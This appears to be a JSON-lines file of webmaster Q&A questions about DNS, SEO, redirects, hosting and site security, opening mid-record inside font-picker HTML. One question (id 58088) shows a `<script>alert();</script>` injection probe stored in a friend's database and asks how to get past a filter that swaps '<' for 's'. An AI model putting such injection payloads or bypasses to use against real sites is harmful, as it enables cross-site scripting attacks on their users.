onClick=\"window.opener.FontPicker_pickFont(1417,window); return false;\" STYLE=\"text-decoration:none;\"><img alt=\"Jokerman \" style=\"border: outset 1pt\" border=1 vspace=1 hspace=1 src=\"\/img\/font\/1417.png\"><\/a> <A HREF=\"#\" onClick=\"window.opener.FontPicker_pickFont(1429,window); return false;\" STYLE=\"text-decoration:none;\"><img alt=\"Leelawadee Bold\" style=\"border: outset 1pt\" border=1 vspace=1 hspace=1 src=\"\/img\/font\/1429.png\"><\/a> <A HREF=\"#\" onClick=\"window.opener.FontPicker_pickFont(1550,window); return false;\" STYLE=\"text-decoration:none;\"><img alt=\"Loki Cola \" style=\"border: outset 1pt\" border=1 vspace=1 hspace=1 src=\"\/img\/font\/1550.png\"><\/a> <A HREF=\"#\" onClick=\"window.opener.FontPicker_pickFont(1440,window); return false;\" STYLE=\"text-decoration:none;\"><img alt=\"Maiandra GD Demi-Bold\" style=\"border: outset 1pt\" border=1 vspace=1 hspace=1 src=\"\/img\/font\/1440.png\"><\/a> <A HREF=\"#\" onClick=\"window.opener.FontPicker_pickFont(1447,window); return false;\" STYLE=\"text-decoration:none;\"><img alt=\"Matisse ITC \" style=\"border: outset 1pt\" border=1 vspace=1 hspace=1 src=\"\/img\/font\/1447.png\"><\/a> <A HREF=\"#\" onClick=\"window.opener.FontPicker_pickFont(1460,window); return false;\" STYLE=\"text-decoration:none;\"><img alt=\"MisterEarl BT \" style=\"border: outset 1pt\" border=1 vspace=1 hspace=1 src=\"\/img\/font\/1460.png\"><\/a> <A HREF=\"#\" onClick=\"window.opener.FontPicker_pickFont(1477,window); return false;\" STYLE=\"text-decoration:none;\"><img alt=\"OCR A Extended \" style=\"border: outset 1pt\" border=1 vspace=1 hspace=1 src=\"\/img\/font\/1477.png\"><\/a> <A HREF=\"#\" onClick=\"window.opener.FontPicker_pickFont(1495,window); return false;\" STYLE=\"text-decoration:none;\"><img alt=\"Pump Demi BoldET \" style=\"border: outset 1pt\" border=1 vspace=1 hspace=1 src=\"\/img\/font\/1495.png\"><\/a> <A HREF=\"#\" onClick=\"window.opener.FontPicker_pickFont(1501,window); return false;\" STYLE=\"text-decoration:none;\"><img alt=\"Rockwell Extra Bold \" style=\"border: outset 1pt\" border=1 vspace=1 hspace=1 src=\"\/img\/font\/1501.png\"><\/a> <A HREF=\"#\" onClick=\"window.opener.FontPicker_pickFont(456,window); return false;\" STYLE=\"text-decoration:none;\"><img alt=\"Shanghai \" style=\"border: outset 1pt\" border=1 vspace=1 hspace=1 src=\"\/img\/font\/456.png\"><\/a> <A HREF=\"#\" onClick=\"window.opener.FontPicker_pickFont(1541,window); return false;\" STYLE=\"text-decoration:none;\"><img alt=\"VictorianET \" style=\"border: outset 1pt\" border=1 vspace=1 hspace=1 src=\"\/img\/font\/1541.png\"><\/a> <\/div> <p><form method=get action=\"\/fonts.html\" style=\"display:inline\"><input type=submit name=cat value=\"Print\"><\/form> <div id=\"Print\"> <\/div> <p><form method=get action=\"\/fonts.html\" style=\"display:inline\"><input type=submit name=cat value=\"Roman\"><\/form> <div id=\"Roman\"> <\/div> <p><form method=get action=\"\/fonts.html\" style=\"display:inline\"><input type=submit name=cat value=\"Sans-Serif\"><\/form> <div id=\"Sans-Serif\"> <\/div> <p><form method=get action=\"\/fonts.html\" style=\"display:inline\"><input type=submit name=cat value=\"Scripty\"><\/form> <div id=\"Scripty\"> <\/div> <p><form method=get action=\"\/fonts.html\" style=\"display:inline\"><input type=submit name=cat value=\"Uncategorized\"><\/form> <div id=\"Uncategorized\"> <\/body> <\/html><\/i> I also mailed the admin of mklogo to ask him how can we use the font picker which is very important for my project. He replied back saying that \"He Can Not Teach That,and he is busy running his business and not to mail him again\""}
{"id":"9089","title":"Forward the request to other backend system on Apache webserver?","text":"I want to forward my domain request to my backend systems without creating subdomain. For example: `xyz.com` my domain, when anyone enter `1.xyz.com` request forward to `10.0.x.x`. I want to host my all backend."}
{"id":"44276","title":"How do I do this?","text":"Yesterday I visited the site. http:\/\/www.rottentomatoes.com After a few clicks, If Opened My facebook account, me, will immediately become a member. How it works? Document, the article I'm looking for this.. Thank you .."}
{"id":"61372","title":"1Gb Video in high res: How to be downloaded in reasonable time into each user’s screen?","text":"I have this 1 GB video in high resolution that I’ve uploaded to my Amazon S3 account in order to play it in my site. The video is an online class with the professor in video, talking and some text displayed into the screen. I want to use our own site to play the video, but I’m afraid that it is so big, it will take forever to load into each student computer. Is there a way to solve this? If I lower the resolution, the text inside the video won’t get even read!"}
{"id":"44275","title":"Is charging for a free domain transfer justified?","text":"A client of ours is trying to transfer a .co.uk domain name away from her current web company. They are trying to charge her upwards of £100 for the transfer. I know that transfers of a .co.uk domain are free, so they have no costs to recover on their side by making the transfer. (or only £10.00+VAT for Nominet Transfers) Is this justified? Are they allowed to charge? She's satisfied all accounts on their end, so they're not witholding in lieu of payment for services. FYI. In a whois lookup, my client's name is the under the registrant name heading, but with their company address under the registrant address section."}
{"id":"63108","title":"Test two different web hosts for speed, latency, etc","text":"My site is currently hosted on an LA server. My target audience is Beijing, so I am moving to a server in Hong Kong (close enough without having to register with the gov't). I want to run some tests before and after on my site while its on the LA server and then when its on the Hong Kong server from Beijing. I am currently in Beijing, so that shouldn't be a problem. What I would like to know: what is a set of tests to measure website performance that I can run before and after, and how do I do them? I don't want to just decide anecdotally on whether it is indeed faster. I can run the tests at any time, maybe at different intervals, at different times during the day. Basically, I am just looking for an informed way to make a decision about performance -- whether it has increased, decreased or stayed the same after the move."}
{"id":"44271","title":"Domains with no name servers?","text":"I have a few ccTLDs (.my) domains and I've just realised that there is no name servers for them at all. I wonder how that is even possible? Did the vendor whom I bought the domains from do something nasty? I normally assume that once I buy a domain, there would be at least name servers (without any additional charges) available. Having no name servers also means the the domains are not parked with the registrar or the registrar cannot make money from them (big registrars such as GoDaddy makes loads of money from parked domains, don't you agree with me?) so this is really suspicous"}
{"id":"58085","title":"Can adverts on your site actually help SEO?","text":"My current understanding of SEO is this: One of the ways Google determines a webpage's quality is by how many people click back onto the SERPs. For example, if loads of people click onto your blog after searching \"inception explained\" and 0% of them click back, then Google will be more likely to rank your page highly. So this got me thinking: should you optimise your website for \"abducting\" visitors? By that I mean, do \"Related Posts\" tabs work well because they draw people away from the thing they were searching for and make them less likely to click back out of your website? And if so, would adverts not also have the same effect?"}
{"id":"44754","title":"How to find out what # you are for google keyword","text":"I'm trying to find out if there's a way to form a Google query to quickly find out what position you are for a search term. I know that Google Webmaster Tools and Google Analytics has something similar but I don't find it accurate."}
{"id":"58088","title":"How to void JavaScript on submission?","text":"My friend is kind of web-developer, beginner. I noticed that he didn't purify his user input on form submission, so I could easily save to his DB working `<script>alert();<\/script>`. After some nice trolling with JavaScript, he changed his code to swap any `<` character to `s`. So for example writing `<script>alert();<\/script>` would save to DB as `sscript>alert();s\/script>`. As being friend, I want to show that this is not the solution, and here goes the question - Is it possible to void JavaScript, when this kind of \"security\" is used?"}
{"id":"46816","title":"laggy web page with jquery and images","text":"I have a slow down problem with my single page website: basically it uses a LOT of memory (around 120MB) and, when scrolling, it can easily reach 40-90% of CPU usage! I am wondering what the problem might be so I will try to explain what resources I am using. * 50 20kb sized images (stretched to around 200x200px) * medium jQuery usage (some effects, a lot of AJAX) * jQuery isotope plugin * using hash change events to have sort of PiP (page in page) effects - like open a profile or a comment view - * around 20 jQuery event listeners * saving to localStorage every 10 seconds Could this even be enough to slow it down that much, especially when scrolling? I am pretty sure there are much heavier pages like facebook, g docs, etc. I have absolutely no problem with safari (I am on mac) but chrome gets really laggy. I cannot seem to find a profiler that can help me isolate the problem. I have also removed all the effets regarding box-shadow or transparencies. Any help? Thanks in advance."}
{"id":"49371","title":"How does Google crawler find pages?","text":"Will Google crawler find a page that is not linked to? I.e. pages accessible by manually modifying the url, like `http:\/\/www.site.com\/node\/1\/[secret keyword]`. Note that it is only secret in that there are no links to it; this \"secret\" path should't hold sensitive information."}
{"id":"46813","title":"“C# grid control”: how to encode this in URL from SEO perspective?","text":"We are developing a WinForms grid control, and selling it thru our website worldwide. At the current stage of SEO works, we found that there are many popular search phrases with the \"c#\" word we can use (\"c# grid control\", etc). But the sharp char (#) can't be encoded in URLs \"as is\" to have the maximal SEO effect for Google search. Here are possible choices to encode \"c#\": 1. \"csharp\". 2. \"c sharp\". 3. \"c%23\" (using hexadecimal codes). 4. No use of \"#\", so \"c# grid\" will look like \"c-grid\" in URL. So the question is: what is the best way to reflect \"c#\" in URLs from SEO perspective? Are there more alternatives?"}
{"id":"38534","title":"No Obvious Answer - Query-Strings and Javascript","text":"Say I have this main page `\/my-site\/all-my-bath-soaps` which lists all my products. It has a search filter text box that uses javascript to filter the products they want to see on that page (the URL doesn't change as they filter). Now from many other parts of the site I want to navigate to this products-page and see specific products. E.g. <a href=\"\/my-site\/all-my-bath-soaps?filter='Nivea-Soap'\"> will go to `\/all-my-bath-soaps` and apply javascript filtering to see just that product and hide all dom nodes for the other products. The problem is if the user changes the text in the filter from 'Nivea-Soap' to 'Lynx' the javascript will work fine and show the new products but the URL stays at `?filter='Nivea-Soap'`. Is there anything I can do about this? Of course, I don't want to reload the page with a new query string every time they change the search criteria. Somehow it'd be great to move the ?filter=... criteria into POST data instead - but how can I do this with a link I don't know..."}
{"id":"3500","title":"How useful is Facebook Connect Login?","text":"I'm starting to see some Websites offer the option to login via Facebook. I'm curious how useful it is a feature. For example, when someone logs in, does her friend knows on Facebook that she logged in? What if there are more fields that I require than Facebook stores? Which one would you use from the list of 13 controls? * http:\/\/vatlab.com\/facebook-asp-net-libs\/facebook-connect-asp-net It would save me a lot of time to buy the app from them. But I wonder if there is anything else I'm missing out (like a free version elsewhere). My goal is to make registration\/sign up quick and painless so they go through the motion while spreading the word. At the end of the process, the user will receive something (i.e. free e-book). So it seems that there are 2 points where Facebook can help and perhaps make their friends take notice. Facebook Connect and Facebook invite friends."}
{"id":"3507","title":"DNS Hosting with Purchased Domain Name","text":"I have just purchased a domain name, however now I realise dns hosting was not free and I have to pay extra to set an MX, CNAME or A record. Do I have to do this with the same company I registered my domain with or can I do this with someone who offers this service at a lower cost?"}
{"id":"2671","title":"iDeal: what are the differences between these three categories?","text":"Could you explain what the differences between 1) Ideal Easy ABN\/Amro 2) Ideal Lite 3) ING iDEAL Advanced, Rabobank iDEAL Professional or ABN iDEAL Zelfbouw. thanks"}
{"id":"2672","title":"Best Ways to Develop \"Chicken and Egg Content\" sites?","text":"By 'chicken and egg content' I'm referring to user-contributed\/crowdsourced content - sites like StackOverflow \/ StackExchange. When SO launched, Jeff and Joel were essentially able to 'cheat' the system by bringing in a massive ready-made audience from their respective blogs, but this isn't really an option for most people. Reddit.com launched, from what I can tell, via a combination of sources: * They were among the first batch of YCombinator startups * Alexis and Steve ghost-contributed a lot of content to get the ball rolling * There was a bit of controversy when they switched from Lisp to Python for their backend, and this attracted fans of both languages\/environments. Now, when reddit launched, it wasn't completely like it is today. At first, reddit didn't have comments, it was just a bunch of links to various sites - essentially, a user-driven portal. I have a similar concept in mind, and I _could_ bootstrap the site with ghosted contributions, but it would only take me so far. The real value of the site, much like S[OFUE], comes from user contributed value-add content, and I could never generate enough of such meaningful content to help in any meaningful way. I've considered sending emails to relevant bloggers and posting on forums asking for their input \/ minor contribution, but this feels pretty disingenuous to me, since for the most part I don't follow these people regularly, and likely don't spend much time on any of these forums. Long story short - what are some great ways to promote a site (and for free, since I'm quite broke...), and entice experts to contribute early content?"}
{"id":"2675","title":"Allowing users to post without logging in","text":"On Stackoverflow\/Stackexchange, users are allowed to add posts without requiring login, just wondering what should be considered before allowing this kind behavior on a site? Couple of things spring to mind... * Recording the users IP address * Limiting number of anonymous posts from a single IP Are there any other things to consider?"}
{"id":"47359","title":"SEO impact of links for javascript functionality","text":"For example, jQuery tabs uses a link as each tab, that opens the tabbed content. Or often times developers will use a link as the anchor text for a hover tooltip, even though it doesn't actually link anywhere. Given that the functionality uses javascript, for the most part links aren't needed, however there the most apt markup to describe the purpose. '' Do links with href=\"#\" effect seo? Should they be avoided? Or do links to the current page be helpful in any ways? Just to over explain, here's an example of the 2 ways to code it, this time using dhtml rather than javascript. <a href=\"#\" >Anchor text <span class=\"tooltip\"> This will appear on hover<\/span><\/a> CSS: .tooltip span{display:none;} .tooltip:hover span{display:block;} OR without a link <div> Anchor text <span class=\"tooltip\"> This is my hover tooltip<\/span><\/div> Same CSS Thanks for the help!"}
{"id":"47391","title":"Redirecting previous domain subfolder links","text":"I've recently bought a domain that was unregistered. After looking in Google webmaster tools, Google is trying to crawl random pages that don't exist. Turns out it did have a previous owner. The offending pages are in the style mysite.com\/catalog\/?Brand=0&Model=102&ID=0 Although there doesn't seem to be any links on the web (who knows what the previous owner did) I want these to point to my homepage. I've tried redirecting using.. redirect 301 \/catalog\/ http:\/\/mysite.com\/ but I end up with a redirect to my homepage with an URL in the address bar of... mysite.com\/?Brand=0&Model=102&ID=0 How do I get it to just redirect to my homepage and show URL mysite.com in the address bar with no gubbings on the end? I am on an Apache server with PHP 5 Thanks."}
{"id":"68793","title":"Cache control using WAMP","text":"So I tried to allow cache by using <meta http-equiv=\"Cache-control\" content=\"public, max-age=31536000\"> but I'm not pretty sure if the contents are being cached. Although I receive a 304 code in Firefox Network Monitor I get 0 cached responses in primed cache. I should be seeing something like this https:\/\/mdn.mozillademos.org\/files\/7409\/nm-performance.png like I see in others sites and like explained https:\/\/developer.mozilla.org\/en- US\/docs\/Tools\/Network_Monitor. What I am doing wrong? Is this something I must activate in WAMP? Or I must improve something in the tag? I also tried: header(\"cache-Control:public, max-age=31536000\"); header(\"last-modified: Thu, 04 Sep 2014 03:30:00 GMT\"); and header(\"cache-Control:public\"); header(\"last-modified: Thu, 04 Sep 2014 03:30:00 GMT\");"}
{"id":"54244","title":"Can I use only subdomains for my site contents?","text":"I have a domain name `www.site.com`, here for SEO (main keyword) purpose, I would like to use `english.site.com`, is it have any negative impact on SEO? without having content on main domain. (i.e. there is no content on direct `www.site.com` or only just having link to `english.site.com`). I don't have experience in this case, any one can advice me? am I right or wrong?"}
{"id":"67098","title":"OpenSTV Integration configuration on Windows IIS server","text":"Although this involves a Drupal site, the question is more at the server level, I think. **BACKGROUND:** Site uses modules \"Election\" and \"Election OpenSTV Integration, the latter one being involved in counting votes from the election. It must link to \"OpenSTV\" code, a set of apps which run in Python, which must also be installed on the server. **PROGRESS SO FAR:** The whole system was set up on a local Mac-based dev site, using the Mac version of Python and linking to the OpenSTV code on that computer. Election counting worked. **NEW ENVIRONMENT REQUIRED for Production Site:** The site was migrated (actually, re-created) on the Windows IIS server where it needs to reside. All needed modules were installed, a Windows version of Python was installed, and the OpenSTV code directories were installed. The one remaining step is that the \"Elections OpenSTV Integration\" module needs to be given a valid path to a file \"runElection.py\" which is within the same set of directories as used in the Mac environment. **THE PROBLEM:** A path must be provided in a config field for the OpenSTV Integration module. The path that worked in the Mac environment was: \/Users\/myname\/Documents\/openstv-master\/openstv\/runElection.py In the Windows IIS environment, after much trial and error we found a path syntax that saves and does not generate a \"cannot be executed\" error as we were getting in earlier attempts. That path is: C:\\Python34\\python.exe C:\\inetpub\\wwwroot\\naccas-elections\\sites\\all\\libraries\\openstv-master\\openstv\/runElection.py We had assumed if it doesn't generate the \"cannot be executed\" error, there must not be any problem with either the path or permissions to execute. However when I am logged in with appropriate permissions and go to the site's OpenSTV tab (in a test election which has some votes recorded) and try to export results, what I get suggests it's not working. In the localized Mac dev site, I could choose to export HTML and would get a zipped folder of HTML files which displayed as expected. In this production version on the IIS server, the same export command does generate a .zip file – but attempts to unzip it generate another single file of the form \"SandBox-Election-SNTV- HtmlReport.zip.cpgz\" – so, appending \".cpgz\" to the original export. What could be going wrong in this case? Is there any reason why the OpenSTV code (v. 1.7) wouldn't run in the Windows IIS server environment, even though a compatible Python version is installed? Is there an alternative to consider? To provide context: The image below shows the configuration field as presented by the OpenSTV Integration module; what's in the field is just a default: "}
{"id":"2927","title":"Companies that provide user information \/ targeting API?","text":"Are there any companies that provide simple APIs to get user information or targeting data on website visitors? Essentially some anonymous version of the data used by advertising companies to target ads. This could be a vector of 20 real number or something more intuitive. I'd like to customize landing pages based on visitors' information, beyond what I can get from the request headers."}
{"id":"2926","title":"How to proceed now , development is done !","text":"The project I was working\/coding on from last couple of months is done from a development point of view. The project is a lightweight desktop video streaming application in Adobe Air. I also put up a website to publish it: `http:\/\/awesome.fm\/client` I am less experience in marketing or spreading products. Can you guys just give me ideas on how to proceed from here? What I want to know is, how do real startup owners spread the product they make? Whatsoever, any opinion will be helpful."}
{"id":"5333","title":"URL rewrite - should I write a fake file suffix (.html) or something more realistic to the platform? (like .asp or .cfm)","text":"First, I'd like to preface this question by stating that I insist upon publishing a file name suffix, but only on the outer most entity of our site, the detail pages. I do realize the suffix is not necessary, and as such, some people just don't use it in their URL rewrite rules. **Our basic logic is as follows:** 1. Top Level: h t t p:\/\/no-host-name.just-the-domain.tld\/ 2. Next Level Deeper, append a \"directory\" of: `\/most-general-groups-of-entities\/` 3. Next Level: `\/additional-specificity-like-location\/` 4. Next Level: `\/more-specificity-making-a-smaller-group\/` Each level is one click deeper, making all site content no more than four clicks deep -- good for getting spidered. ALSO -- and I like this \"feature\" -- you can actually remove the right-most piece of each rewritten \"directory\" and it will serve a page that is a list of links to all of the groups of data belonging to the classes depicted in the directories comprising the rewritten URL. The fourth click down results in a detail page, such as: name-of-entity.html **So the question: what should I write as a suffix to the file name?** It seems to be mis-leading to rewrite the URI having a suffix of html. I do believe the consensus suggests (still?) that .html is most favored. However, our technology platform, more accurately, would publish content using a page suffix such as .php or .asp. I do recognize there is a slight security benefit to masquerading the suffix that tells the world what your platform is. However, isn't it kind of black-hat-like to use a suffix of .html? Paranoia causes me to believe that Google may detect URL rewrite and potentially trigger the so-called over optimization penalty. Supporting use of the HTML suffix is the fact that we are, indeed, serving HTML content to a browser. It would make less sense to arbitrarily pick .pdf or .doc -- which sometimes scare away clicks when seen among search results. Also, to reiterate my earlier insistence that I prefer to use a suffix, it's because it completes our depiction of a logical hierarchy: 1. the site 2. rewrite directory one - the general silos of information 3. rewrite directory two - a folder containing more folders 4. rewrite directory three - the folder that has the documents 5. rewrite document name All directories end in a forward slash, and in contrast, documents, at least typically, have a suffix and do not have the trailing slash. I recognize there are certainly other dragons to slay in the course of a workday, but at the moment I am trying to finish up our URL rewrite, which makes this top of mind for me. **Can anyone cite examples to encourage or discourage the rewriting of a suffix of any particular type?** And, please, if you see errors in my logic or directory hierarchies, I want to hear what you have to say. Thank you."}
{"id":"14631","title":"Does multiple CSS files affect load time?","text":"Does using multiple CSS files (default.css, print.css, mobile.css...) affect a website's load time?"}
{"id":"18597","title":"Is it okay to make my affiliate links look like google adsense ads and place above or below them?","text":"I have seen on a few websites\/themes eg (http:\/\/www.adsensepress.com\/maxctr- wordpress-theme) which put content above or below the adsense ads and make them look like the ads. Is that acceptable? I read the Adsense TOS and it doesn't say explicitly anywhere that it is not."}
{"id":"65350","title":"When changing hosting, how to see files served from the new server","text":"domain example.com is running on a server A. Then I changed host to the server B. Now when I open URL example.com, I still see the files from host A. But I want the files from host B."}
{"id":"30460","title":"Proper password handling for login","text":"I have read a lot about PHP login security recently, but many questions on Stack Overflow regarding security are outdated. I understand bcrypt is one of the best ways of hashing passwords today. However, for my site, I believe sha512 will do very well, at least to begin with. (I mean bcrypt is for bigger sites, sites that require high security, right?) I´m also wonder about salting. Is it necessary for every password to have its own unique salt? Should I have one field for the salt and one for the password in my database table? What would be a decent salt today? Should I join the username together with the password and add a random word\/letter\/special character combination to it?"}
{"id":"57583","title":"Using the same .com and .net domain - SEO Impact?","text":"I have a client who has the `.com` and `.net` of their domain. They would like each domain to have content targeted for a different application. Let me explain: domain-abc.com will contain the services that are paid and provided by the company. domain-abc.net will be the community portion of the site that contains forums and other topics. All content for the .net domain will be provided for free. My question is this: Is it better to keep everything on one domain (either .com or .net) vs splitting the site onto two domains for SEO reasons? Or does it has little impact on SEO as long as I don't duplicate content across both domains? Note: Both the .com and .net are identical names."}
{"id":"23622","title":"nofollow drop down select options","text":"I have a select input on a search results page and each option's value is a URL to sort the search results. There's an onchange event on the select to refresh the page with the sort option. Google webmaster tools is showing that I have duplicate meta content because it's following the sort URL's. Is there a way to put a nofollow on those URL's, or does any one have any ideas on how to mask them from search bots? Example: <select onchange=\"javascript:document.location = this.options[this.selectedIndex].value\"> <option value=\"\/All\/All\/Category\/Length\/feet\/USD\/1\/boat_search.aspxltid=0&sort=length_high\" >Length: High to Low<\/option> <\/select>"}
{"id":"43910","title":"Cannot change file permission via FTP: '500 - command not understood'","text":"I have an old site that is in danger of being compromised as many of the directories and files have permissions set to 777. However, when I try to change them to 555 via FileZilla I get the error > 500 'SITE CHMOD 555 filename': command not understood Googling it only reveals issues relevant to connecting to the server, but I can do that, as well as up and downloading files. I'm not sure what this means exactly. Is it that my account doesn't have sufficient permissions to make these changes?"}
{"id":"67091","title":"Proxy pass from apache to jetty using localhost","text":"In my `\/etc\/apache2\/sites-enabled file I have two proxy pass statements: one to a Virtuoso server which works with localhost and one to a jetty server on localhost which doesn't, because \"Firefox can't establish a connection to the server at localhost:8983.\". Only when I give it the absolute IP does it work. What is additionally strange is that while for all other proxy passes the apparent URL in the browser adress field does not change while in the case of jetty it switches over to the one given in the proxy pass statement. Why does localhost not work with jetty even if the two are on the same server? ProxyPass \/sparql http:\/\/localhost:8890\/sparql # ProxyPass \/solr http:\/\/localhost:8983\/solr # does not work # ProxyPass \/solr http:\/\/[IP 6 Adress]:8983\/solr # does work **Follow Up** I managed to preserve the URL with `ProxyPreserveHost On` in the sites-available file but with localhost it still doesn't work. I will check the hostname setting now. NMap also reports localhost as up: nmap -p 8983 localhost Starting Nmap 5.21 ( http:\/\/nmap.org ) at 2014-07-17 10:21 CEST Nmap scan report for localhost (127.0.0.1) Host is up (0.000079s latency). PORT STATE SERVICE 8983\/tcp open unknown **Answer** As said by Thyamarkos, adding the host name in `\/etc\/jetty\/jetty- rewrite.xml` did the trick. Thanks! <Set name=\"virtualHosts\"> <Array type=\"java.lang.String\"> <Item>localhost<\/Item> <Item>127.0.0.1<\/Item> <\/Array> <\/Set>"}
{"id":"36147","title":"Should I, and how do I incorporate microdata into my asp.net website with 47 pages?","text":"I have an asp.net (vb) with 47 pages. The problem is that it's in 10 different languages, although 98% just use English. I have 5 master pages. I've read Google Webmaster Tools, but I'm still confounded. I'm reading about how microdata is the way to go. Does this mean I should put **itemtype** and **itemprop** span and div tags in my master pages, or should I do all of my 47 pages (.resx resource files) separately? The main key phrase I want throughout search results is \" **machine vision** \". For instance, the first couple sentences on my \"about.aspx\" page are: <span itemprop=\"name\">USS Vision Inc.<\/span> (USS) is a privately-owned company with headquarters in <span itemprop=\"locality\">Detroit, Michigan, USA<\/span>. We design, engineer, produce, and integrate special machine vision error-proofing products and <a href=\"http:\/\/www.ussvision.com\/services\/\" target=\"_self\" itemprop=\"url\">services<\/a> that create lean factories by improving the quality of manufactured products, and by significantly reducing manufacturing costs through advanced automation. Am I doing this right, or how would I do this if I'm not? Should I use the **itemprop=\"url\"** or other **rich snippets** for every link in my website? I mean, do I need to add an itemprop to just about everything, or can I just alter my master pages? Any guidance in this regard to help improve my SEO and SERPS would be greatly appreciated!"}
{"id":"36143","title":"Difference between linking to specific page or folder","text":"Is there a difference between linking to www.example.com\/site\/index.html and www.example.com\/site\/ since it'll point to the same page? I point everything i can to a folder on my website, i just think it looks better when the browser doesn't display the name of the file. Is this wrong, right, good or bad?"}
{"id":"31053","title":"private whois but still list email-address?","text":"I tried Googling it, but I couldn't find an answer. I would like private whois, meaning I wouldn't want to display my home address etc. However, I still would want to list email-address."}
{"id":"13042","title":"What is the simplest way to accept recurring donations? (except paypal)","text":"I'd like to put up a donation system for a nonprofit(outside US, central europe, no paypal\/google checkout benefits apply) without too much coding\/integration and with a checkout process as simple as possible from the user's POV. Paypal is not an option, since for recurring donations it requires registration and the paygate is only in major languages. What is the simplest\/most efficient method to do this?"}
{"id":"30401","title":"Should I get an SGC enabled SSL certificate?","text":"I'm in the market for a new SSL certificate and am wondering if I should get an SGC enabled certificate or not? In the past I have just used cheap SSL certificates but since this is for a new company website I want to make sure I have the best but I am unsure whether it is worth paying the extra. The documentation states that it just enables older browsers to use 128 bit encryption when they would normally only be able to use 40 or 56 bit encryption. Would you pay the extra for older browsers which are likely to be extremely rare?"}
{"id":"18736","title":"How can I repoint my domain? DNS\/MX etc","text":"I've searched the questions here, but have found nothing that gives me the assurance I require. My situation: * I have a domain registered with Network Solutions, linked to hosting on NetSol * I have hosting at GoDaddy * I wish to have the domain registered with NetSol point to the hosting at GoDaddy * I also have an external mailserver that must be pointed at to handle all mail requests (MX?) My question is how to I go about executing the above? Do I go into my Network Solutions account and change the DNS settings for the domain in question, changing the NS addresses to GoDaddy, and the MX addresses to my mail server? If this is correct, how would I then set the folder on GoDaddy that the domain points to, do I do this via my GoDaddy account? Apologies if this has already been answered elsewhere, I just require absolute clarity as this is for a fairly sensitive website change- and apologies for my ignorance on the matter!"}
{"id":"18041","title":"Best Modifier Key Combination for Web Shortcuts","text":"Many users of my website asked for keyboard shortcuts to access commonly viewed pages. I know that links may have `accesskey` but to access them is inconsistent across browsers. I'm going to use JavaScript to detect shortcut and I would like your input on what the modifier key(s) should be. I'm leaning toward `Ctrl`+`Shift`."}
{"id":"18734","title":"I am done with html and css, NOW, what tools should I start with?","text":"I am done with html and css, NOW, what tools should I start with? Shall I start with Adobe CS3 OR Adobe CS4 OR Adobe CS5 Please let know. I am just confused. Thanks :)"}
{"id":"18733","title":"Adobe certifications: where can I do one, and will it help get me a job?","text":"Where and which is the best way to do Adobe certifications? (Dreamweaver CS5 in India.) Also, does it have weightage in getting a job?"}
{"id":"18047","title":"Tracking an iframed page hosted on another domain with Google Analytics","text":"I've followed Google's instructions on tracking iframed content on another domain (http:\/\/code.google.com\/apis\/analytics\/docs\/tracking\/gaTrackingSite.html#trackingIFrames) as best I can, yet there is still no data showing up in Analytics for the iframed page. Parent page (http:\/\/www.blackangus.com\/primeclub\/): <script type=\"text\/javascript\"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-xxxxxxx-xx']); _gaq.push(['_setDomainName', 'blackangus.com']); _gaq.push(['_setAllowLinker', true]); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text\/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https:\/\/ssl' : 'http:\/\/www') + '.google-analytics.com\/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); var iframeLink = \"http:\/\/www.fishbowl.com\/clt\/blckangus\/lp\/join\/joinform.asp\"; jQuery(function() { _gaq.push(function() { var pageTracker = _gat._getTrackerByName(); iframeLink = pageTracker._getLinkerUrl(iframeLink); jQuery(\"#joinform\").attr(\"src\", iframeLink); }); }); <\/script> And the iframed page(http:\/\/www.fishbowl.com\/clt\/blckangus\/lp\/join\/joinform.asp): <script type=\"text\/javascript\"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-xxxxxx-xx']); _gaq.push(['_setDomainName', 'blackangus.com']); _gaq.push(['_setAllowHash', 'false']); _gaq.push(['_setAllowLinker', true]); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text\/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https:\/\/ssl' : 'http:\/\/www') '.google-analytics.com\/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); <\/script> What am I doing wrong? Why won't the iframed page show up in Analytics?"}
{"id":"65357","title":"How long before legacy 302s are recognised as 301s?","text":"We have some legacy 302 redirects in place on our site that should have _always_ been 301s. We've now changed the redirects to 301s but various SEO tools (and presumably Google) still see the 302 redirect rather than the 301. My question is, how long do 302s normally get cached for (if there is a 'normally' in this situation)? And is there anything we can do to speed up the process of recognising the change to 301s?"}
{"id":"67546","title":"Domain Name Not resolving with webhost nameservers and without www","text":"Searched all over and tried playing with httpd.conf , nothing works. The domain name can be resolved with www.domain.com but without www its does not resolve. Advice for A Records does not work. I have a domain from Registrar otwohosting.net there panel is like publicdomainregistry.com and have options for nameservers. I have pointed nameservers, but with mx toolbox, only www.domain.com looks up and fails for non www What is the probable cause ? Here is snippet from httpd.conf <VirtualHost *:80> ServerAdmin webmaster@example.com DocumentRoot \/var\/www\/html\/mydomain.com\/ ServerName www.mydomain.com ServerAlias mydomain.com RewriteEngine On RewriteRule ^\/(.*) http:\/\/mydomain.com\/$1 [L,R=301] ErrorLog logs\/dummy-host.example.com-error_log CustomLog logs\/dummy-host.example.com-access_log common <\/VirtualHost> Its centos dedicated server, with firewall and yes port 80 is opened for tcp and udp both. Additionally any change in document root explictly for www.domain.com also dont work. As default doc root is `\/var\/www\/html\/` but i do want it to resolve it to `\/var\/www\/html\/mydomain.com\/` directory . Please help thanks **EDIT** Here is the link for my dns report [Link Removed] It gives strange result saying it can fetch dns records but cant resolve domain.. i am laughing and tearing down my head at same time **Edit2** Following the below answer here is the update: 1) I do have 3 Nameserver received from my web hosting company . Although i have unmanaged dedicated server, but nameservers are not ns1.mydomain .. they are like `ns1.mywebhost.com`,`ns2.mywebhost.com` and have been feeded At Registrar panel 2) created CNAME Record for `Host:www` , `Value:mydomain.com` - didnt worked 3) I do have a dedicated IP Available which i should use for creating A record - Did not worked 4) After performing these actions , domain is still not resolving. Even with www also it failed, which was working earlier. I'm running in a big trouble UPDATE 3: Finally the solution by closetnoc worked. I used domain Registrars' Nameservers, with an Additional A Record and CNAME record to my Dedicated IP and domain name respectively. Although the DNS propagation is very slow with my registrar (otwowebhosting.net a reseller of PDR ) , and i will plan to switch to dedicated DNS hosting service 